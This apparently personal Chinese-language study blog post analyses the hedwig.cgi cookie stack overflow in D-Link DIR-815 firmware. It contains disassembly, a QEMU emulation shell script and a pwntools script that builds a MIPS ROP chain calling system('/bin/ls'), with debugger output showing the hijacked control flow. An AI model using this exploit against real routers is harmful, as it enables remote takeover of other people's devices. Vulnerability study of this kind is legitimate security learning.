0%

D-Link DIR-815路由器多次溢出漏洞分析

        《揭秘》的第一个漏洞分析。

静态分析

         该漏洞的描述位于这里,可知漏洞出现在hedwig.cgi文件中。首先了解一下cgi文件。

cgi(Common Gateway Interface),通用网关接口。运行在服务器上提供同客户端 HTML 页面的接口的一段程序。

        这类文件大概功能就是根据客户端提交的请求生成html页面(?)先获得固件unzip得到.bin文件,binwalk -e 得到文件系统。在文件系统下find . -name hedwig.cgi,得到的文件是指向./htdocs/cgibin文件的一个符号链接。故对cgibin文件进行分析。

        根据漏洞描述可知漏洞出现的位置与cookie的值有关,搜索cookie字符串的引用。

1
2
3
4
5
6
7
8
9
.text:00407C98                 .globl sess_get_uid
.text:00407C98 sess_get_uid: # CODE XREF: phpcgi_main+214↑p
.text:00407C98 # authentication+338↓p ...
.text:00407C98
...
.text:00407D00 la $t9, getenv
.text:00407D04 li $a0, aHttpCookie # "HTTP_COOKIE"
.text:00407D08 jalr $t9 ; getenv
.text:00407D0C move $s3, $v0

        可知cookie的值是函数sess_get_id调用getenv("HTTP_COOKIE")得到的。char *getenv(const char *name);该函数返回一个指向该环境变量值的指针。再查找函数sess_get_id的引用:

image-20211102201112980

        还挺多。书上说去找hedwigcgi_main内的引用,可能是因为存在漏洞的文件名是hedwig.cgi吧。于是跳过去查看,发现了危险函数sprintf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
.text:00409640                 la      $t9, sess_get_uid
.text:00409644 nop
.text:00409648 jalr $t9 ; sess_get_uid
.text:0040964C move $a0, $s5
.text:00409650 lw $gp, 0x4C0+var_4B0($sp)
.text:00409654 nop
.text:00409658 la $t9, sobj_get_string
.text:0040965C nop
.text:00409660 jalr $t9 ; sobj_get_string
.text:00409664 move $a0, $s5
.text:00409668 lw $gp, 0x4C0+var_4B0($sp)
.text:0040966C lui $a1, 0x42 # 'B'
.text:00409670 la $t9, sprintf
.text:00409674 move $a3, $v0
.text:00409678 move $a2, $s2
.text:0040967C li $a1, aSSPostxml # "%s/%s/postxml"
.text:00409680 jalr $t9 ; sprintf

        继续查看函数hedwigcgi_main的引用,发现只有main调用了,所以通过分析hedwigcgi_main的逻辑设置环境变量。

image-20211102202521384

        函数hedwigcgi_main首先获得REQUEST_METHOD的值,不为POST则打印失败信息。接着调用cgibin_parse_request,获得CONTENT_TYPECONTENT_LENGTH的值(总之经过一堆判断这俩都不能为空)。用下面这段来判断这两个值需要满足的条件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
if ( type )
{
relo_item = p2rel_42C014; // application/
v16 = 0;
while ( 1 )
{
name = relo_item->name;
if ( !relo_item->name )
break;
str_len = relo_item->size;
++relo_item;
++v16;
if ( !strncasecmp(type, name, str_len) )
return ((int (__fastcall *)(int, int, unsigned int, char *))p2rel_42C014[v16 - 1].func)(
a1,
a2_0,
content_length,
&type[str_len]);
}
}

        而p2rel_42C014处的符号地址字段对type后面的字符进行判断,需等于x-www-form-urlencoded。然后调用sobj_new创建两个大小为6的指针数组,偏移为5处存放cookie。调用sess_get_uid,得到HTTP_COOKIE的值。同样创建两个指针数组a1,a2,以等号为界将前半部分存入a1偏移为5处,后半部分存入a2偏移为5处,a1[5]uid则将a2[5]存入参数指针数组的偏移为5处。函数sobj_get_string获得该数组中指向cookie的指针。(REMOTE_ADDR应该不用填)接着到了sprintf函数,而在这之下有另一个sprintf函数,据书上说明测试后远程是有/var/tmp目录的,所以造成漏洞的是第二个sprintf

模拟运行

几个环境变量的值有以下要求:

1
2
3
4
5
6
REQUEST_METHOD: POST
CONTENT_TYPE: application/x-www-form-urlencoded
CONTENT_LENGTH: 不太懂,暂时设成payload长度
REQUEST_URI: 不为空
REMOTE_ADDR: *
HTTP_COOKIE: uid=...

写个shell脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# exp.sh
#!/bin/bash

# when you execute the file for the first time,
# cp $(which qemu-mipsel-static) ./qemu

python 815.py

INPUT=$(cat payload)
LEN=$(echo -n "$INPUT" | wc -c)
PORT="1234"

if [ -n "$1" ] ;then # $1 exists
echo "$INPUT" | chroot . ./qemu \
-E REQUEST_METHOD="POST" \
-E HTTP_COOKIE=$INPUT \
-E CONTENT_TYPE="application/x-www-form-urlencoded" \
-E CONTENT_LENGTH=$LEN \
-E REQUEST_URI="a" \
-g $PORT \
/htdocs/web/hedwig.cgi
else
echo "$INPUT" | chroot . ./qemu \
-E REQUEST_METHOD="POST" \
-E HTTP_COOKIE=$INPUT \
-E CONTENT_TYPE="application/x-www-form-urlencoded" \
-E CONTENT_LENGTH=$LEN \
-E REQUEST_URI="a" \
/htdocs/web/hedwig.cgi
fi

写个python

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
"""815.py"""
from pwn import *
context(arch='mips')

base=0x76738000
gadget1=0x158c8 # s0+1,->s5
gadget2=0x159CC # sp+0x18->a0, ->s0

pd='uid=12345'
regs=flat(
base+0x531ff,# s0
'aaaa',# s1
'aaaa',# s2
'aaaa',# s3
'aaaa',# s4
base+gadget2,# s5
'aaaa',# s6
'aaaa',# s7
'aaaa',# fp
base+gadget1,# ra
)

pd+=regs.rjust(1008,'a')+0x10*'b'+'/bin/ls'

with open('payload','w') as f:
f.write(pd)

./.gdbinit下写入

1
2
set architecture mips
target remote localhost:1234

    用sudo ./exp.sh -g启动脚本。若在另一个命令行输入gdb-multiarch ./htdocs/web/hedwig.cgi,则用pwndbg进行调试。也可以用ida attach上进程进行调试。函数最终执行到:

1
2
3
4
5
6
7
8
9
10
11
12
.text:00409A28 lw      $ra, 0x4C0+var_s24($sp)
.text:00409A2C move $v0, $s7
.text:00409A30 lw $fp, 0x4C0+var_s20($sp)
.text:00409A34 lw $s7, 0x4C0+var_s1C($sp)
.text:00409A38 lw $s6, 0x4C0+var_s18($sp)
.text:00409A3C lw $s5, 0x4C0+var_s14($sp)
.text:00409A40 lw $s4, 0x4C0+var_s10($sp)
.text:00409A44 lw $s3, 0x4C0+var_sC($sp)
.text:00409A48 lw $s2, 0x4C0+var_s8($sp)
.text:00409A4C lw $s1, 0x4C0+var_s4($sp)
.text:00409A50 lw $s0, 0x4C0+var_s0($sp)
.text:00409A54 jr $ra

        查看栈上内容发现已被传入的cookie值覆盖。考虑通过控制这些寄存器的值来控制程序执行流。这个地方需要注意不能用程序原有的gadgets,因为地址中有\0被截断。需要利用libc中的gadgets

        先找到运行时的基地址。程序貌似什么保护都没开所以所有地址都是固定的。同样符合动态链接第一次执行时先对符号进行链接的规则。在第二次调用sprintf处下断点,得到了sprintf地址。

        ldd一下程序:

1
2
3
4
5
6
ling@ubuntu:~/iot/jm/dir815_FW_101/_DIR-815 FW 1.01b14_1.01b14.bin.extracted/squashfs-root$ ldd ./htdocs/cgibin
checking sub-depends for 'not found'
checking sub-depends for 'not found'
libgcc_s.so.1 => not found (0x00000000)
libc.so.0 => not found (0x00000000)
/lib/ld-uClibc.so.0 => /lib/ld-uClibc.so.0 (0x00000000)

        把libc.so.0链接的文件拖入ida分析,找到sprintf的偏移。用上面得到的sprintf地址减去偏移得到基地址。(用这个办法主要是因为我用不了vmmap…)接着找到system偏移为0x53200,同样会被截断,考虑运算后再得到0x53200

构造ROP链

接下来找libc里能用的gadgets。在idapython里输入

1
2
3
from mipsrop import MIPSROPFinder
mips=MIPSROPFinder()
# 调用mips.find('')得到相应的gadgets

先将$s0覆盖为base+0x531ff,再对$s0+1

idapython.jpg

查看偏移处内容:

1
2
3
.text:000158C8                 move    $t9, $s5
.text:000158CC jalr $t9
.text:000158D0 addiu $s0, 1

这里注意一下指令执行的顺序。在idapython框里输入:

1
2
import mipsrop
help(mipsrop)

文档里有这么一句:

1
2
3
4
#    move $t9, $s1
# jalr $t9
# li $a0, 1 <-- Remember MIPS has jump delay slots, so this instruction
# is executed with the jump

查了一下说由于这个什么延迟机制,jalr后的语句(不知道几条)在执行jalr之前执行。找了个jalr在后一句下了断点,确实是在该句执行完后才执行的jalr。(大概和流水线、编译原理、CPU有关,尚未深究……)

        得到了一条gadget。同样由于这个机制,在执行到结尾时,会先执行00409A58处将栈恢复,此时就可以在离$sp较近的位置找到输入。

1
2
3
4
5
6
7
8
.text:00409A28                 lw      $ra, 0x4C0+var_s24($sp)
.text:00409A2C move $v0, $s7
.text:00409A30 lw $fp, 0x4C0+var_s20($sp)
.text:00409A34 lw $s7, 0x4C0+var_s1C($sp)
...
.text:00409A50 lw $s0, 0x4C0+var_s0($sp)
.text:00409A54 jr $ra
.text:00409A58 addiu $sp, 0x4E8

        再找给system传参的gadget。需将/bin//sh字符串地址传给$a0

        执行mips.stackfinders(),找到这样一条比较方便。

1
0x000159CC  |  addiu $s5,$sp,0x14C+var_13C                      |  jalr  $s0    |
1
2
3
4
5
6
.text:000159CC                 addiu   $s5, $sp, 0x14C+var_13C
.text:000159D0 move $a1, $s3
.text:000159D4 move $a2, $s1
.text:000159D8 move $t9, $s0
.text:000159DC jalr $t9 ; mempcpy
.text:000159E0 move $a0, $s5

最后构造好运行的结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
pwndbg> n
0x7678b204 in system () from /home/ling/iot/jm/dir815_FW_101/_DIR-815 FW 1.01b14_1.01b14.bin.extracted/squashfs-root/lib/libuClibc-0.9.30.1.so
warning: GDB can't find the start of the function at 0x7674d9e3.
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────[ REGISTERS ]──────────────────────────────────
V0 0x0
V1 0x4b
A0 0x76fff230 ◂— '/bin/ls'
A1 0x61616161 ('aaaa')
A2 0x61616161 ('aaaa')
A3 0x20
T0 0x767ab4c8 (__malloc_state) ◂— 0x4b /* 'K' */
T1 0x16f1
T2 0x2
T3 0x24
T4 0x25
T5 0x807
T6 0x800
T7 0x400
T8 0x8
T9 0x7678b200 (system) ◂— lui $gp, 2 /* 0x3c1c0002 */
S0 0x7678b200 (system) ◂— lui $gp, 2 /* 0x3c1c0002 */
S1 0x61616161 ('aaaa')
S2 0x61616161 ('aaaa')
S3 0x61616161 ('aaaa')
S4 0x61616161 ('aaaa')
S5 0x76fff230 ◂— '/bin/ls'
S6 0x61616161 ('aaaa')
S7 0x61616161 ('aaaa')
S8 0x61616161 ('aaaa')
FP 0x76fff220 ◂— 'bbbbbbbbbbbbbbbb/bin/ls'
SP 0x76fff220 ◂— 'bbbbbbbbbbbbbbbb/bin/ls'
*PC 0x7678b204 (system+4) ◂— addiu $gp, $gp, 0x32e0 /* 0x279c32e0 */
───────────────────[ DISASM ]───────────────────
0x7678b200 <system> lui $gp, 2
► 0x7678b204 <system+4> addiu $gp, $gp, 0x32e0
0x7678b208 <system+8> addu $gp, $gp, $t9
0x7678b20c <system+12> addiu $sp, $sp, -0x48
0x7678b210 <system+16> sw $ra, 0x44($sp)
0x7678b214 <system+20> sw $s5, 0x40($sp)
0x7678b218 <system+24> sw $s4, 0x3c($sp)
0x7678b21c <system+28> sw $s3, 0x38($sp)
0x7678b220 <system+32> sw $s2, 0x34($sp)
0x7678b224 <system+36> sw $s1, 0x30($sp)
0x7678b228 <system+40> sw $s0, 0x2c($sp)
──────────────────────[ STACK ]──────────────────────────
00:0000│ fp sp 0x76fff220 ◂— 'bbbbbbbbbbbbbbbb/bin/ls'
... ↓ 3 skipped
04:0010│ a0 s5 0x76fff230 ◂— '/bin/ls'
05:0014│ 0x76fff234 ◂— 0x736c2f /* '/ls' */
06:0018│ 0x76fff238 ◂— 0
07:001c│ 0x76fff23c ◂— 0
──────────────────────[ BACKTRACE ]────────────────────────
► f 0 0x7678b204 system+4
───────────────────────────────────────────────────────────
pwndbg>

但最后还是报了段错误,而且貌似继续执行gadget2后面的指令了。。不太明白。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
pwndbg> c
Continuing.
warning: GDB can't find the start of the function at 0x7674d9e4.

Program received signal SIGSEGV, Segmentation fault.
0x7674d9e4 in ?? () from /home/ling/iot/jm/dir815_FW_101/_DIR-815 FW 1.01b14_1.01b14.bin.extracted/squashfs-root/lib/libuClibc-0.9.30.1.so
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────[ REGISTERS ]──────────────────────────────────
*V0 0x7f00
*V1 0x61616161 ('aaaa')
*A0 0x76fff148 ◂— sll $zero, $v0, 0 /* 0x20000 */
*A1 0x76fff0f0 ◂— 0
*A2 0x0
*A3 0x0
T0 0x767ab4c8 (__malloc_state) ◂— 0x4b /* 'K' */
T1 0x16f1
T2 0x2
T3 0x24
T4 0x25
T5 0x807
T6 0x800
T7 0x400
T8 0x8
*T9 0x7676c8c0 (memcpy) ◂— b 0x7676c8d8 /* 0x10000005 */
S0 0x7678b200 (system) ◂— lui $gp, 2 /* 0x3c1c0002 */
S1 0x61616161 ('aaaa')
S2 0x61616161 ('aaaa')
S3 0x61616161 ('aaaa')
S4 0x61616161 ('aaaa')
S5 0x76fff230 ◂— '/bin/ls'
S6 0x61616161 ('aaaa')
S7 0x61616161 ('aaaa')
S8 0x61616161 ('aaaa')
*FP 0x0
SP 0x76fff220 ◂— 'bbbbbbbbbbbbbbbb/bin/ls'
*PC 0x7674d9e4 ◂— 0x8fdc0010
────────────────────────────[ DISASM ]──────────────────────
0x7674d9d0 move $a1, $s3
0x7674d9d4 move $a2, $s1
0x7674d9d8 move $t9, $s0
0x7674d9dc jalr $t9

0x7674d9e0 move $a0, $s5
► 0x7674d9e4 lw $gp, 0x10($fp)
0x7674d9e8 move $a0, $v0
0x7674d9ec lw $a1, -0x7fac($gp)
0x7674d9f0 addiu $a2, $zero, 1
0x7674d9f4 move $t9, $s0
0x7674d9f8 jalr $t9
────────────────[ STACK ]────────────────────────────────
00:0000│ sp 0x76fff220 ◂— 'bbbbbbbbbbbbbbbb/bin/ls'
... ↓ 3 skipped
04:0010│ s5 0x76fff230 ◂— '/bin/ls'
05:0014│ 0x76fff234 ◂— 0x736c2f /* '/ls' */
06:0018│ 0x76fff238 ◂— 0
07:001c│ 0x76fff23c ◂— 0
──────────────────[ BACKTRACE ]─────────────────────
► f 0 0x7674d9e4
─────────────────────────────────────────────────────────
pwndbg>

        跟着书上到这里结束。下面的我也不知道对不对反正是猜着做的.jpg

        尝试把文件系统搬到qemu虚拟机里做一下(虽然应该没什么卵用)。先解决虚拟机和主机通信的问题。

1
sudo qemu-system-mipsel -M malta -kernel vmlinux-2.6.32-5-4kc-malta_mipsel -hda debian_squeeze_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic, -net tap -nographic

        在用上面的命令启动时会添加一块网卡,我的名称是tap1。主机里进行配置sudo ifconfig tap1 10.10.10.1/24,打开虚拟机后ifconfig eth0 10.10.10.2/24。两台就能互相ping通了。scp将文件系统拷贝到虚拟机中,此时还需要挂载/proc /sys /dev几个目录。

1
2
3
4
5
mount --bind /proc squashfs-root/proc/
mount --bind /sys squashfs-root/sys
mount --bind /dev squashfs-root/dev
# 不知道直接挂虚拟机的行不行…反正设备文件有缺失
chroot squashfs-root /bin/sh

        执行/etc/init.d/rcS还是/etc/init0.d/rcS启动,反正都报错了。好了我不行了再见.jpg。

        ps:我也不知道该学点啥,但是大佬们都有自己研究方向那我找个学术界研究的多点的学吧emm。各个方向能做到的都挺牛逼的就是没感觉自己对哪个有倾向性…